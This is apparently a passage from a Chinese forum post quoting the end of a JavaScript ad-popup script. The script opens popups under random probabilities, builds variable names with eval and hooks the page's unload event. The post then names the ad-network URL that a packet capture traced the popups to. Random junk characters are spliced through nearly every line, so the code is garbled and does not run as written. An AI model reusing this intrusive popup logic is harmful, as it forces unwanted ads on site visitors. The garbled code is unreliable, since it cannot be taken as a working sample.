- pop(url, { 9 t* y8 J+ C* C6 x1 E
- a: 1, 2 D8 E& l; O" P* f+ V5 R
- b: 2
) [7 G8 a. N! w0 V - })
/ Z- W+ G% E0 g- S, ]4 Z - },
$ ~8 y5 C; ]: _6 j: {7 ^ - 300)
8 P* \5 F, F$ y; `% g# L: R, `, \ - } ; ~/ { N; t. Z; k
- for (var i = 1; i <= 10; i++) { 4 A7 C: Q- K% V$ C4 @7 F( {4 L$ V
- var n = i == 1 ? "": i;
% I1 O( L9 j4 R" I3 I1 _: a4 \; Z& q - if (eval("_pt" + n + "b") > Math.random()) { 8 Z- y! w+ V2 C+ C- {& j
- setTimeout(function() { 9 ]4 j/ a: ?- ?" Y
- setTimeout(function() {
7 ]& i. @0 w& I+ O n - pop(url, { ; }8 L5 N d& n
- a: 1,
/ d3 y3 }: X( Q" p) | n - b: 2
. E- z) P9 S8 Q% k! @! @ - }) - T9 f0 H( _, \! Y
- }, 2 I! v# \( [1 O! V) V4 r+ v
- 300)
: }% b! X$ B( P$ L ^ - },
7 p5 E% ]! J- d5 G3 m% W - parseInt(eval("_pt" + n + "a")) * 1000) 3 q4 [6 T" G2 p$ [) ?
- }
: I+ |6 L; c+ F& J: w8 f- r1 E - }
4 E( ~+ F7 M7 N9 a/ z - if (_pc2 > Math.random()) {
5 ~* t& }( t# B- U7 ?6 E J - a_pop(url) 8 Q2 f* q: B3 m. r
- }
! i( J2 v! D, P6 U) o9 T+ s ^1 r - if (_po > Math.random()) { 5 ?6 [' j% z t. O% }- m9 G" A
- try {
0 J2 z7 \1 w" f% |# N. W - func(url)
" \0 u# Z) k+ k3 {1 M2 Q - } catch(q) {} 6 B3 R! }/ p3 R4 V; d/ j1 S4 V! J
- }
$ ]8 \ l h5 {, S - }
' y% h' u$ `. i6 }# n5 e - }; . }& x, N. U% f) d9 X- t2 C
- fstart(aa_url); / t- T: N1 @# B* I& \4 I9 x! T
- event(window, 'beforeunload',
: q& R6 {" s8 ]: Y7 K - function() {}) + `+ r2 z' @! _; Z
- })();
复制代码 通过浏览器抓包- o2 C9 h& c3 x: L3 @$ W" Q
URL从这里产生
* u/ z+ Q% v6 H" n
' v$ z4 o! u2 l+ l, x, c7 j, ?3 n" rhttp://play.unionsky.cn/show/?placeid=141830% M* t! x( ~/ w" G" N
6 g) Q) W( T5 Y& a4 ]7 y) ]( @( k- a0 u \- N. Q5 i, U, J6 S
|